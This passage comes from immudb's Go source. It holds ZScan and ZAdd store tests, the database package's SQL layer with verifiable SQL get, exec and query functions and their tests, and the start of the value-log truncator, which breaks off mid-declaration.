zaddOpts3 := &schema.ZAddRequest{ Set: setName, Score: float64(2), Key: []byte(`key3`), AtTx: i3.Id, BoundRef: true, } zaddOpts4 := &schema.ZAddRequest{ Set: setName, Score: float64(2), Key: []byte(`key4`), AtTx: i4.Id, BoundRef: true, } zaddOpts5 := &schema.ZAddRequest{ Set: setName, Score: float64(2), Key: []byte(`key5`), AtTx: i5.Id, BoundRef: true, } zaddOpts6 := &schema.ZAddRequest{ Set: setName, Score: float64(3), Key: []byte(`key6`), AtTx: i6.Id, BoundRef: true, } db.ZAdd(context.Background(), zaddOpts1) db.ZAdd(context.Background(), zaddOpts2) db.ZAdd(context.Background(), zaddOpts3) db.ZAdd(context.Background(), zaddOpts4) db.ZAdd(context.Background(), zaddOpts5) meta, err := db.ZAdd(context.Background(), zaddOpts6) require.NoError(t, err) zScanOption1 := &schema.ZScanRequest{ Set: setName, SeekKey: []byte(`key6`), SeekScore: math.MaxFloat64, SeekAtTx: math.MaxUint64, InclusiveSeek: true, Limit: 2, Desc: true, MaxScore: &schema.Score{Score: 3}, SinceTx: meta.Id, } list1, err := db.ZScan(context.Background(), zScanOption1) require.NoError(t, err) require.Len(t, list1.Entries, 2) require.Equal(t, list1.Entries[0].Entry.Key, []byte(`key6`)) require.Equal(t, list1.Entries[1].Entry.Key, []byte(`key5`)) lastItem := list1.Entries[len(list1.Entries)-1] zScanOption2 := &schema.ZScanRequest{ Set: setName, SeekScore: lastItem.Score, SeekAtTx: lastItem.AtTx, SeekKey: lastItem.Key, Limit: 2, InclusiveSeek: true, Desc: true, SinceTx: meta.Id, } list2, err := db.ZScan(context.Background(), zScanOption2) require.NoError(t, err) require.Len(t, list2.Entries, 2) require.Equal(t, list2.Entries[0].Entry.Key, []byte(`key5`)) require.Equal(t, list2.Entries[1].Entry.Key, []byte(`key4`)) zScanOption3 := &schema.ZScanRequest{ Set: setName, SeekScore: lastItem.Score, SeekAtTx: lastItem.AtTx, SeekKey: lastItem.Key, Limit: 2, InclusiveSeek: false, Desc: true, SinceTx: meta.Id, } list3, err := db.ZScan(context.Background(), zScanOption3) require.NoError(t, err) require.Len(t, list3.Entries, 2) require.Equal(t, list3.Entries[0].Entry.Key, []byte(`key4`)) require.Equal(t, list3.Entries[1].Entry.Key, []byte(`key3`)) } func TestStore_ZScanInvalidSet(t *testing.T) { db := makeDb(t) opt := &schema.ZScanRequest{ Set: nil, } _, err := db.ZScan(context.Background(), opt) require.ErrorIs(t, err, store.ErrIllegalArguments) } func TestStore_ZScanOnEqualKeysWithSameScoreAreReturnedOrderedByTS(t *testing.T) { db := makeDb(t) idx0, _ := db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`key1`), Value: []byte(`val1-A`)}}}) db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`key2`), Value: []byte(`val2-A`)}}}) idx2, _ := db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`key1`), Value: []byte(`val1-B`)}}}) db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`key3`), Value: []byte(`val3-A`)}}}) idx4, _ := db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`key1`), Value: []byte(`val1-C`)}}}) db.ZAdd(context.Background(), &schema.ZAddRequest{ Set: []byte(`mySet`), Score: 0, Key: []byte(`key1`), AtTx: idx2.Id, BoundRef: true, }) db.ZAdd(context.Background(), &schema.ZAddRequest{ Set: []byte(`mySet`), Score: 0, Key: []byte(`key1`), AtTx: idx0.Id, BoundRef: true, }) db.ZAdd(context.Background(), &schema.ZAddRequest{ Set: []byte(`mySet`), Score: 0, Key: []byte(`key2`), }) db.ZAdd(context.Background(), &schema.ZAddRequest{ Set: []byte(`mySet`), Score: 0, Key: []byte(`key3`), }) meta, _ := db.ZAdd(context.Background(), &schema.ZAddRequest{ Set: []byte(`mySet`), Score: 0, Key: []byte(`key1`), AtTx: idx4.Id, BoundRef: true, }) ZScanRequest := &schema.ZScanRequest{ Set: []byte(`mySet`), SinceTx: meta.Id, } list, err := db.ZScan(context.Background(), ZScanRequest) require.NoError(t, err) // same key, sorted by internal timestamp require.Exactly(t, []byte(`val1-A`), list.Entries[0].Entry.Value) require.Exactly(t, []byte(`val1-B`), list.Entries[1].Entry.Value) require.Exactly(t, []byte(`val1-C`), list.Entries[2].Entry.Value) require.Exactly(t, []byte(`val2-A`), list.Entries[3].Entry.Value) require.Exactly(t, []byte(`val3-A`), list.Entries[4].Entry.Value) } func TestStoreZScanOnZAddIndexReference(t *testing.T) { db := makeDb(t) i1, _ := db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`SignerId1`), Value: []byte(`firstValue`)}}}) i2, _ := db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`SignerId1`), Value: []byte(`secondValue`)}}}) i3, _ := db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`SignerId2`), Value: []byte(`thirdValue`)}}}) zaddOpts1 := &schema.ZAddRequest{ Set: []byte(`hashA`), Score: float64(1), Key: []byte(`SignerId1`), AtTx: i1.Id, BoundRef: true, } reference1, err1 := db.ZAdd(context.Background(), zaddOpts1) require.NoError(t, err1) require.Exactly(t, uint64(4), reference1.Id) require.NotEmptyf(t, reference1, "Should not be empty") zaddOpts2 := &schema.ZAddRequest{ Set: []byte(`hashA`), Score: float64(2), Key: []byte(`SignerId1`), AtTx: i2.Id, BoundRef: true, } reference2, err2 := db.ZAdd(context.Background(), zaddOpts2) require.NoError(t, err2) require.Exactly(t, uint64(5), reference2.Id) require.NotEmptyf(t, reference2, "Should not be empty") zaddOpts3 := &schema.ZAddRequest{ Set: []byte(`hashA`), Score: float64(3), Key: []byte(`SignerId2`), AtTx: i3.Id, BoundRef: true, } reference3, err3 := db.ZAdd(context.Background(), zaddOpts3) require.NoError(t, err3) require.Exactly(t, uint64(6), reference3.Id) require.NotEmptyf(t, reference3, "Should not be empty") zscanOpts1 := &schema.ZScanRequest{ Set: []byte(`hashA`), Desc: false, SinceTx: reference3.Id, } itemList1, err := db.ZScan(context.Background(), zscanOpts1) require.NoError(t, err) require.Len(t, itemList1.Entries, 3) require.Equal(t, []byte(`SignerId1`), itemList1.Entries[0].Entry.Key) require.Equal(t, []byte(`SignerId1`), itemList1.Entries[1].Entry.Key) require.Equal(t, []byte(`SignerId2`), itemList1.Entries[2].Entry.Key) } func TestStoreVerifiableZAdd(t *testing.T) { db := makeDb(t) _, err := db.VerifiableZAdd(context.Background(), nil) require.ErrorIs(t, err, store.ErrIllegalArguments) i1, _ := db.Set(context.Background(), &schema.SetRequest{KVs: []*schema.KeyValue{{Key: []byte(`key1`), Value: []byte(`value1`)}}}) _, err = db.VerifiableZAdd(context.Background(), &schema.VerifiableZAddRequest{ ZAddRequest: nil, ProveSinceTx: i1.Id, }) require.ErrorIs(t, err, store.ErrIllegalArguments) _, err = db.VerifiableZAdd(context.Background(), &schema.VerifiableZAddRequest{ ZAddRequest: nil, ProveSinceTx: i1.Id, }) require.ErrorIs(t, err, store.ErrIllegalArguments) req := &schema.ZAddRequest{ Set: []byte(`set1`), Key: []byte(`key1`), Score: float64(1.1), AtTx: i1.Id, BoundRef: true, } vtx, err := db.VerifiableZAdd(context.Background(), &schema.VerifiableZAddRequest{ ZAddRequest: req, ProveSinceTx: i1.Id, }) require.NoError(t, err) require.Equal(t, uint64(2), vtx.Tx.Header.Id) ekv := EncodeZAdd(req.Set, req.Score, EncodeKey(req.Key), req.AtTx) require.Equal(t, ekv.Key, vtx.Tx.Entries[0].Key) require.Equal(t, int32(0), vtx.Tx.Entries[0].VLen) dualProof := schema.DualProofFromProto(vtx.DualProof) verifies := store.VerifyDualProof( dualProof, i1.Id, vtx.Tx.Header.Id, schema.TxHeaderFromProto(i1).Alh(), dualProof.TargetTxHeader.Alh(), ) require.True(t, verifies) zscanReq := &schema.ZScanRequest{ Set: []byte(`set1`), SinceTx: vtx.Tx.Header.Id, } itemList1, err := db.ZScan(context.Background(), zscanReq) require.NoError(t, err) require.Len(t, itemList1.Entries, 1) require.Equal(t, req.Key, itemList1.Entries[0].Entry.Key) require.Equal(t, req.Score, itemList1.Entries[0].Score) } ================================================ FILE: pkg/database/sql.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package database import ( "bytes" "context" "fmt" "strings" "github.com/codenotary/immudb/embedded/sql" "github.com/codenotary/immudb/embedded/store" "github.com/codenotary/immudb/pkg/api/schema" ) func (d *db) VerifiableSQLGet(ctx context.Context, req *schema.VerifiableSQLGetRequest) (*schema.VerifiableSQLEntry, error) { if req == nil || req.SqlGetRequest == nil { return nil, ErrIllegalArguments } lastTxID, _ := d.st.CommittedAlh() if lastTxID < req.ProveSinceTx { return nil, ErrIllegalState } d.mutex.Lock() defer d.mutex.Unlock() sqlTx, err := d.sqlEngine.NewTx(ctx, sql.DefaultTxOptions().WithReadOnly(true)) if err != nil { return nil, err } defer sqlTx.Cancel() table, err := sqlTx.Catalog().GetTableByName(req.SqlGetRequest.Table) if err != nil { return nil, err } valbuf := bytes.Buffer{} if len(req.SqlGetRequest.PkValues) != len(table.PrimaryIndex().Cols()) { return nil, fmt.Errorf( "%w: incorrect number of primary key values, expected %d, got %d", ErrIllegalArguments, len(table.PrimaryIndex().Cols()), len(req.SqlGetRequest.PkValues), ) } for i, pkCol := range table.PrimaryIndex().Cols() { pkEncVal, _, err := sql.EncodeRawValueAsKey(schema.RawValue(req.SqlGetRequest.PkValues[i]), pkCol.Type(), pkCol.MaxLen()) if err != nil { return nil, err } _, err = valbuf.Write(pkEncVal) if err != nil { return nil, err } } // build the encoded key for the pk pkKey := sql.MapKey( []byte{SQLPrefix}, sql.MappedPrefix, sql.EncodeID(table.ID()), sql.EncodeID(sql.PKIndexID), valbuf.Bytes(), valbuf.Bytes()) e, err := d.sqlGetAt(ctx, pkKey, req.SqlGetRequest.AtTx, d.st, true) if err != nil { return nil, err } tx, err := d.allocTx() if err != nil { return nil, err } defer d.releaseTx(tx) // key-value inclusion proof err = d.st.ReadTx(e.Tx, false, tx) if err != nil { return nil, err } sourceKey := sql.MapKey( []byte{SQLPrefix}, sql.RowPrefix, sql.EncodeID(1), // fixed database identifier sql.EncodeID(table.ID()), sql.EncodeID(sql.PKIndexID), valbuf.Bytes()) inclusionProof, err := tx.Proof(sourceKey) if err != nil { return nil, err } var rootTxHdr *store.TxHeader if req.ProveSinceTx == 0 { rootTxHdr = tx.Header() } else { rootTxHdr, err = d.st.ReadTxHeader(req.ProveSinceTx, false, false) if err != nil { return nil, err } } var sourceTxHdr, targetTxHdr *store.TxHeader if req.ProveSinceTx <= e.Tx { sourceTxHdr = rootTxHdr targetTxHdr = tx.Header() } else { sourceTxHdr = tx.Header() targetTxHdr = rootTxHdr } dualProof, err := d.st.DualProof(sourceTxHdr, targetTxHdr) if err != nil { return nil, err } verifiableTx := &schema.VerifiableTx{ Tx: schema.TxToProto(tx), DualProof: schema.DualProofToProto(dualProof), } colNamesByID := make(map[uint32]string, len(table.Cols())) colIdsByName := make(map[string]uint32, len(table.ColsByName())) colTypesByID := make(map[uint32]string, len(table.Cols())) colLenByID := make(map[uint32]int32, len(table.Cols())) for _, col := range table.Cols() { colNamesByID[col.ID()] = col.Name() colIdsByName[sql.EncodeSelector("", table.Name(), col.Name())] = col.ID() colTypesByID[col.ID()] = col.Type() colLenByID[col.ID()] = int32(col.MaxLen()) } pkIDs := make([]uint32, len(table.PrimaryIndex().Cols())) for i, col := range table.PrimaryIndex().Cols() { pkIDs[i] = col.ID() } return &schema.VerifiableSQLEntry{ SqlEntry: e, VerifiableTx: verifiableTx, InclusionProof: schema.InclusionProofToProto(inclusionProof), DatabaseId: 1, TableId: table.ID(), PKIDs: pkIDs, ColNamesById: colNamesByID, ColIdsByName: colIdsByName, ColTypesById: colTypesByID, ColLenById: colLenByID, MaxColId: table.GetMaxColID(), }, nil } func (d *db) sqlGetAt(ctx context.Context, key []byte, atTx uint64, index store.KeyIndex, skipIntegrityCheck bool) (entry *schema.SQLEntry, err error) { var valRef store.ValueRef if atTx == 0 { valRef, err = index.Get(ctx, key) } else { valRef, err = index.GetBetween(ctx, key, atTx, atTx) } if err != nil { return nil, err } val, err := valRef.Resolve() if err != nil { return nil, err } return &schema.SQLEntry{ Tx: valRef.Tx(), Key: key, Metadata: schema.KVMetadataToProto(valRef.KVMetadata()), Value: val, }, err } func (d *db) ListTables(ctx context.Context, tx *sql.SQLTx) (*schema.SQLQueryResult, error) { d.mutex.RLock() defer d.mutex.RUnlock() catalog, err := d.sqlEngine.Catalog(ctx, tx) if err != nil { return nil, err } res := &schema.SQLQueryResult{Columns: []*schema.Column{{Name: "TABLE", Type: sql.VarcharType}}} for _, t := range catalog.GetTables() { res.Rows = append(res.Rows, &schema.Row{Values: []*schema.SQLValue{{Value: &schema.SQLValue_S{S: t.Name()}}}}) } return res, nil } func (d *db) DescribeTable(ctx context.Context, tx *sql.SQLTx, tableName string) (*schema.SQLQueryResult, error) { d.mutex.RLock() defer d.mutex.RUnlock() catalog, err := d.sqlEngine.Catalog(ctx, tx) if err != nil { return nil, err } table, err := catalog.GetTableByName(tableName) if err != nil { return nil, err } res := &schema.SQLQueryResult{Columns: []*schema.Column{ {Name: "COLUMN", Type: sql.VarcharType}, {Name: "TYPE", Type: sql.VarcharType}, {Name: "NULLABLE", Type: sql.BooleanType}, {Name: "INDEX", Type: sql.VarcharType}, {Name: "AUTO_INCREMENT", Type: sql.BooleanType}, {Name: "UNIQUE", Type: sql.BooleanType}, }} for _, c := range table.Cols() { index := "NO" indexed, err := table.IsIndexed(c.Name()) if err != nil { return nil, err } if indexed { index = "YES" } if table.PrimaryIndex().IncludesCol(c.ID()) { index = "PRIMARY KEY" } var unique bool for _, index := range table.GetIndexesByColID(c.ID()) { if index.IsUnique() && len(index.Cols()) == 1 { unique = true break } } var maxLen string if c.MaxLen() > 0 && (c.Type() == sql.VarcharType || c.Type() == sql.BLOBType) { maxLen = fmt.Sprintf("(%d)", c.MaxLen()) } res.Rows = append(res.Rows, &schema.Row{ Values: []*schema.SQLValue{ {Value: &schema.SQLValue_S{S: c.Name()}}, {Value: &schema.SQLValue_S{S: c.Type() + maxLen}}, {Value: &schema.SQLValue_B{B: c.IsNullable()}}, {Value: &schema.SQLValue_S{S: index}}, {Value: &schema.SQLValue_B{B: c.IsAutoIncremental()}}, {Value: &schema.SQLValue_B{B: unique}}, }, }) } return res, nil } func (d *db) NewSQLTx(ctx context.Context, opts *sql.TxOptions) (tx *sql.SQLTx, err error) { txCtx, txCancel := context.WithCancel(context.Background()) txChan := make(chan *sql.SQLTx) errChan := make(chan error) defer func() { if err != nil { txCancel() if tx != nil { tx.Cancel() } } }() go func() { md := schema.MetadataFromContext(ctx) if len(md) > 0 { data, err := md.Marshal() if err != nil { errChan <- err return } opts = opts.WithExtra(data) } tx, err = d.sqlEngine.NewTx(txCtx, opts) if err != nil { errChan <- err } else { txChan <- tx } }() select { case <-ctx.Done(): { return nil, ctx.Err() } case tx = <-txChan: { return tx, nil } case err = <-errChan: { return nil, err } } } func (d *db) SQLExec(ctx context.Context, tx *sql.SQLTx, req *schema.SQLExecRequest) (ntx *sql.SQLTx, ctxs []*sql.SQLTx, err error) { if req == nil { return nil, nil, ErrIllegalArguments } stmts, err := sql.ParseSQL(strings.NewReader(req.Sql)) if err != nil { return nil, nil, err } params := make(map[string]interface{}) for _, p := range req.Params { params[p.Name] = schema.RawValue(p.Value) } return d.SQLExecPrepared(ctx, tx, stmts, params) } func (d *db) SQLExecPrepared(ctx context.Context, tx *sql.SQLTx, stmts []sql.SQLStmt, params map[string]interface{}) (ntx *sql.SQLTx, ctxs []*sql.SQLTx, err error) { if len(stmts) == 0 { return nil, nil, ErrIllegalArguments } d.mutex.RLock() defer d.mutex.RUnlock() if d.isReplica() { return nil, nil, ErrIsReplica } return d.sqlEngine.ExecPreparedStmts(ctx, tx, stmts, params) } func (d *db) SQLQuery(ctx context.Context, tx *sql.SQLTx, req *schema.SQLQueryRequest) (sql.RowReader, error) { if req == nil { return nil, ErrIllegalArguments } stmts, err := sql.ParseSQL(strings.NewReader(req.Sql)) if err != nil { return nil, err } stmt, ok := stmts[0].(sql.DataSource) if !ok { return nil, sql.ErrExpectingDQLStmt } reader, err := d.SQLQueryPrepared(ctx, tx, stmt, schema.NamedParamsFromProto(req.Params)) if !req.AcceptStream { reader = &limitRowReader{RowReader: reader, maxRows: d.maxResultSize} } return reader, err } func (d *db) SQLQueryAll(ctx context.Context, tx *sql.SQLTx, req *schema.SQLQueryRequest) ([]*sql.Row, error) { reader, err := d.SQLQuery(ctx, tx, req) if err != nil { return nil, err } defer reader.Close() return sql.ReadAllRows(ctx, reader) } func (d *db) SQLQueryPrepared(ctx context.Context, tx *sql.SQLTx, stmt sql.DataSource, params map[string]interface{}) (sql.RowReader, error) { if stmt == nil { return nil, ErrIllegalArguments } d.mutex.RLock() defer d.mutex.RUnlock() return d.sqlEngine.QueryPreparedStmt(ctx, tx, stmt, params) } func (d *db) InferParameters(ctx context.Context, tx *sql.SQLTx, sql string) (map[string]sql.SQLValueType, error) { d.mutex.RLock() defer d.mutex.RUnlock() return d.sqlEngine.InferParameters(ctx, tx, sql) } func (d *db) InferParametersPrepared(ctx context.Context, tx *sql.SQLTx, stmt sql.SQLStmt) (map[string]sql.SQLValueType, error) { d.mutex.RLock() defer d.mutex.RUnlock() return d.sqlEngine.InferParametersPreparedStmts(ctx, tx, []sql.SQLStmt{stmt}) } func (d *db) CopySQLCatalog(ctx context.Context, txID uint64) (uint64, error) { // copy sql catalogue tx, err := d.st.NewTx(ctx, store.DefaultTxOptions()) if err != nil { return 0, err } err = d.CopyCatalogToTx(ctx, tx) if err != nil { d.Logger.Errorf("error during truncation for database '%s' {err = %v, id = %v, type=sql_catalogue_copy}", d.name, err, txID) return 0, err } defer tx.Cancel() // setting the metadata to record the transaction upto which the log was truncated tx.WithMetadata(store.NewTxMetadata().WithTruncatedTxID(txID)) tx.RequireMVCCOnFollowingTxs(true) // commit catalogue as a new transaction hdr, err := tx.Commit(ctx) if err != nil { return 0, err } return hdr.ID, nil } type limitRowReader struct { sql.RowReader nRead int maxRows int } func (r *limitRowReader) Read(ctx context.Context) (*sql.Row, error) { row, err := r.RowReader.Read(ctx) if err != nil { return nil, err } if r.nRead == r.maxRows { return nil, fmt.Errorf("%w: found more than %d rows (the maximum limit). "+ "Query constraints can be applied using the LIMIT clause", ErrResultSizeLimitReached, r.maxRows) } r.nRead++ return row, nil } ================================================ FILE: pkg/database/sql_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package database import ( "context" "testing" "github.com/codenotary/immudb/embedded/sql" "github.com/codenotary/immudb/embedded/store" "github.com/codenotary/immudb/pkg/api/schema" "github.com/stretchr/testify/require" ) func TestSQLExecAndQuery(t *testing.T) { db := makeDb(t) db.maxResultSize = 2 _, _, err := db.SQLExecPrepared(context.Background(), nil, nil, nil) require.ErrorIs(t, err, ErrIllegalArguments) _, _, err = db.SQLExec(context.Background(), nil, nil) require.ErrorIs(t, err, ErrIllegalArguments) _, _, err = db.SQLExec(context.Background(), nil, &schema.SQLExecRequest{Sql: "invalid sql statement"}) require.ErrorContains(t, err, "syntax error") _, _, err = db.SQLExec(context.Background(), nil, &schema.SQLExecRequest{Sql: "CREATE DATABASE db1"}) require.ErrorIs(t, err, sql.ErrNoSupported) _, _, err = db.SQLExec(context.Background(), nil, &schema.SQLExecRequest{Sql: "USE DATABASE db1"}) require.ErrorIs(t, err, sql.ErrNoSupported) ntx, ctxs, err := db.SQLExec(context.Background(), nil, &schema.SQLExecRequest{Sql: ` CREATE TABLE table1(id INTEGER AUTO_INCREMENT, title VARCHAR, active BOOLEAN, payload BLOB, PRIMARY KEY id) `}) require.NoError(t, err) require.Nil(t, ntx) require.Len(t, ctxs, 1) res, err := db.ListTables(context.Background(), nil) require.NoError(t, err) require.Len(t, res.Rows, 1) _, err = db.DescribeTable(context.Background(), nil, "table2") require.ErrorIs(t, err, sql.ErrTableDoesNotExist) res, err = db.DescribeTable(context.Background(), nil, "table1") require.NoError(t, err) require.Len(t, res.Rows, 4) ntx, ctxs, err = db.SQLExec(context.Background(), nil, &schema.SQLExecRequest{Sql: ` INSERT INTO table1(title, active, payload) VALUES ('title1', null, null), ('title2', true, null), ('title3', false, x'AADD'), ('title4', false, x'ABCD') `}) require.NoError(t, err) require.Nil(t, ntx) require.Len(t, ctxs, 1) params := make([]*schema.NamedParam, 1) params[0] = &schema.NamedParam{Name: "active", Value: &schema.SQLValue{Value: &schema.SQLValue_B{B: true}}} _, err = db.SQLQueryAll(context.Background(), nil, nil) require.ErrorIs(t, err, ErrIllegalArguments) _, err = db.SQLQueryAll(context.Background(), nil, nil) require.ErrorIs(t, err, ErrIllegalArguments) _, err = db.SQLQueryAll(context.Background(), nil, &schema.SQLQueryRequest{Sql: "invalid sql statement"}) require.ErrorContains(t, err, "syntax error") _, err = db.SQLQueryAll(context.Background(), nil, &schema.SQLQueryRequest{Sql: "CREATE INDEX ON table1(title)"}) require.ErrorIs(t, err, sql.ErrExpectingDQLStmt) q := "SELECT * FROM table1 LIMIT 1" rows, err := db.SQLQueryAll(context.Background(), nil, &schema.SQLQueryRequest{Sql: q, Params: params}) require.NoError(t, err) require.Len(t, rows, 1) q = "SELECT t.id, t.id as id2, title, active, payload FROM table1 t WHERE id <= 4 AND active != @active" rows, err = db.SQLQueryAll(context.Background(), nil, &schema.SQLQueryRequest{Sql: q, Params: params}) require.ErrorIs(t, err, ErrResultSizeLimitReached) require.Len(t, rows, 2) rows, err = db.SQLQueryAll(context.Background(), nil, &schema.SQLQueryRequest{Sql: q, Params: params, AcceptStream: true}) require.NoError(t, err) require.Len(t, rows, 3) inferredParams, err := db.InferParameters(context.Background(), nil, q) require.NoError(t, err) require.Len(t, inferredParams, 1) require.Equal(t, sql.BooleanType, inferredParams["active"]) stmts, err := sql.ParseSQLString(q) require.NoError(t, err) require.Len(t, stmts, 1) inferredParams, err = db.InferParametersPrepared(context.Background(), nil, stmts[0]) require.NoError(t, err) require.Len(t, inferredParams, 1) require.Equal(t, sql.BooleanType, inferredParams["active"]) _, err = db.VerifiableSQLGet(context.Background(), nil) require.ErrorIs(t, err, store.ErrIllegalArguments) _, err = db.VerifiableSQLGet(context.Background(), &schema.VerifiableSQLGetRequest{ SqlGetRequest: &schema.SQLGetRequest{ Table: "table1", PkValues: []*schema.SQLValue{{Value: &schema.SQLValue_N{N: 1}}}, }, ProveSinceTx: 5, }) require.ErrorIs(t, err, store.ErrIllegalState) _, err = db.VerifiableSQLGet(context.Background(), &schema.VerifiableSQLGetRequest{ SqlGetRequest: &schema.SQLGetRequest{ Table: "table2", PkValues: []*schema.SQLValue{{Value: &schema.SQLValue_N{N: 1}}}, }, ProveSinceTx: 0, }) require.ErrorIs(t, err, sql.ErrTableDoesNotExist) _, err = db.VerifiableSQLGet(context.Background(), &schema.VerifiableSQLGetRequest{ SqlGetRequest: &schema.SQLGetRequest{ Table: "table1", PkValues: []*schema.SQLValue{{Value: &schema.SQLValue_B{B: true}}}, }, ProveSinceTx: 0, }) require.ErrorIs(t, err, sql.ErrInvalidValue) _, err = db.VerifiableSQLGet(context.Background(), &schema.VerifiableSQLGetRequest{ SqlGetRequest: &schema.SQLGetRequest{ Table: "table1", PkValues: []*schema.SQLValue{{Value: &schema.SQLValue_N{N: 5}}}, }, ProveSinceTx: 0, }) require.ErrorIs(t, err, store.ErrKeyNotFound) ve, err := db.VerifiableSQLGet(context.Background(), &schema.VerifiableSQLGetRequest{ SqlGetRequest: &schema.SQLGetRequest{ Table: "table1", PkValues: []*schema.SQLValue{{Value: &schema.SQLValue_N{N: 1}}}, }, ProveSinceTx: 0, }) require.NoError(t, err) require.NotNil(t, ve) ve, err = db.VerifiableSQLGet(context.Background(), &schema.VerifiableSQLGetRequest{ SqlGetRequest: &schema.SQLGetRequest{ Table: "table1", PkValues: []*schema.SQLValue{{Value: &schema.SQLValue_N{N: 1}}}, AtTx: ctxs[0].TxHeader().ID, }, ProveSinceTx: 0, }) require.NoError(t, err) require.NotNil(t, ve) _, err = db.VerifiableSQLGet(context.Background(), &schema.VerifiableSQLGetRequest{ SqlGetRequest: &schema.SQLGetRequest{ Table: "table1", PkValues: []*schema.SQLValue{{Value: &schema.SQLValue_N{N: 5}}}, }, ProveSinceTx: 0, }) require.ErrorIs(t, err, store.ErrKeyNotFound) } func TestVerifiableSQLGet(t *testing.T) { db := makeDb(t) _, _, err := db.SQLExec(context.Background(), nil, &schema.SQLExecRequest{Sql: "CREATE DATABASE db1"}) require.ErrorIs(t, err, sql.ErrNoSupported) _, _, err = db.SQLExec(context.Background(), nil, &schema.SQLExecRequest{Sql: "USE DATABASE db1"}) require.ErrorIs(t, err, sql.ErrNoSupported) t.Run("correctly handle verified get when incorrect number of primary key values is given", func(t *testing.T) { _, _, err := db.SQLExec(context.Background(), nil, &schema.SQLExecRequest{Sql: ` CREATE TABLE table1( pk1 INTEGER, pk2 INTEGER, PRIMARY KEY (pk1, pk2)) `}) require.NoError(t, err) _, _, err = db.SQLExec(context.Background(), nil, &schema.SQLExecRequest{Sql: ` INSERT INTO table1(pk1, pk2) VALUES (1,11), (2,22), (3,33) `}) require.NoError(t, err) _, err = db.VerifiableSQLGet(context.Background(), &schema.VerifiableSQLGetRequest{SqlGetRequest: &schema.SQLGetRequest{ Table: "table1", PkValues: []*schema.SQLValue{{ Value: &schema.SQLValue_N{N: 1}, }}, }}) require.ErrorIs(t, err, ErrIllegalArguments) require.Contains(t, err.Error(), "incorrect number of primary key values") _, err = db.VerifiableSQLGet(context.Background(), &schema.VerifiableSQLGetRequest{SqlGetRequest: &schema.SQLGetRequest{ Table: "table1", PkValues: []*schema.SQLValue{ {Value: &schema.SQLValue_N{N: 1}}, {Value: &schema.SQLValue_N{N: 11}}, {Value: &schema.SQLValue_N{N: 111}}, }, }}) require.ErrorIs(t, err, ErrIllegalArguments) require.Contains(t, err.Error(), "incorrect number of primary key values") }) } ================================================ FILE: pkg/database/truncator.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package database import ( "context" "errors" "time" "github.com/codenotary/immudb/embedded/logger" "github.com/codenotary/immudb/pkg/api/schema" "github.com/prometheus/client_golang/prometheus" "github.com/prometheus/client_golang/prometheus/promauto" ) var ( ErrTruncatorAlreadyRunning = errors.New("truncator already running") ErrRetentionPeriodNotReached = errors.New("retention period has not been reached") ) // Truncator provides truncation against an underlying storage // of appendable data. type Truncator interface { // Plan returns the latest transaction upto which the log can be truncated. // When resulting transaction before specified time does not exists // * No transaction header is returned. // * Returns nil TxHeader, and an error. Plan(ctx context.Context, truncationUntil time.Time) (*schema.TxHeader, error) // TruncateUptoTx runs truncation against the relevant appendable logs. Must // be called after result of Plan(). TruncateUptoTx(ctx context.Context, txID uint64) error } func NewVlogTruncator(db DB, log logger.Logger) Truncator { return &vlogTruncator{ db: db, metrics: newTruncatorMetrics(db.GetName()), logger: log, } } // vlogTruncator implements Truncator for the value-log appendable type vlogTruncator struct { db DB metrics *truncatorMetrics logger logger.Logger } // Plan returns the transaction upto which the value log can be truncated. // When resulting transaction before specified time does not exists // - No transaction header is returned. // - Returns nil TxHeader, and an error. func (v *vlogTruncator) Plan(ctx context.Context, truncationUntil time.Time) (*schema.TxHeader, error) { return v.db.FindTruncationPoint(ctx, truncationUntil) } // TruncateUpTo runs truncation against the relevant appendable logs upto the specified transaction offset. func (v *vlogTruncator) TruncateUptoTx(ctx context.Context, txID uint64) error { defer func(t time.Time) { v.metrics.ran.Inc() v.metrics.duration.Observe(time.Since(t).Seconds()) }(time.Now()) v.logger.Infof("copying sql catalog before truncation for database '%s' at tx %d", v.db.GetName(), txID) // copy sql catalogue sqlCatalogTxID, err := v.db.CopySQLCatalog(ctx, txID) if err != nil { v.logger.Errorf("error during truncation for database '%s' {err = %v, id = %v, type=sql_catalogue_commit}", v.db.GetName(), err, txID) return err } v.logger.Infof("committed sql catalog before truncation for database '%s' at tx %d", v.db.GetName(), sqlCatalogTxID) // truncate upto txID err = v.db.TruncateUptoTx(ctx, txID) if err != nil { v.logger.Errorf("error during truncation for database '%s' {err = %v, id = %v, type=truncate_upto}", v.db.GetName(), err, txID) } return err } type truncatorMetrics struct { ran prometheus.Counter duration prometheus.Observer } func newTruncatorMetrics(db string) *truncatorMetrics { reg := prometheus.NewRegistry() m := &truncatorMetrics{} m.ran = promauto.With(reg).NewCounterVec( prometheus.CounterOpts{ Name: "immudb_truncation_total", Help: "Total number of truncation that were executed for 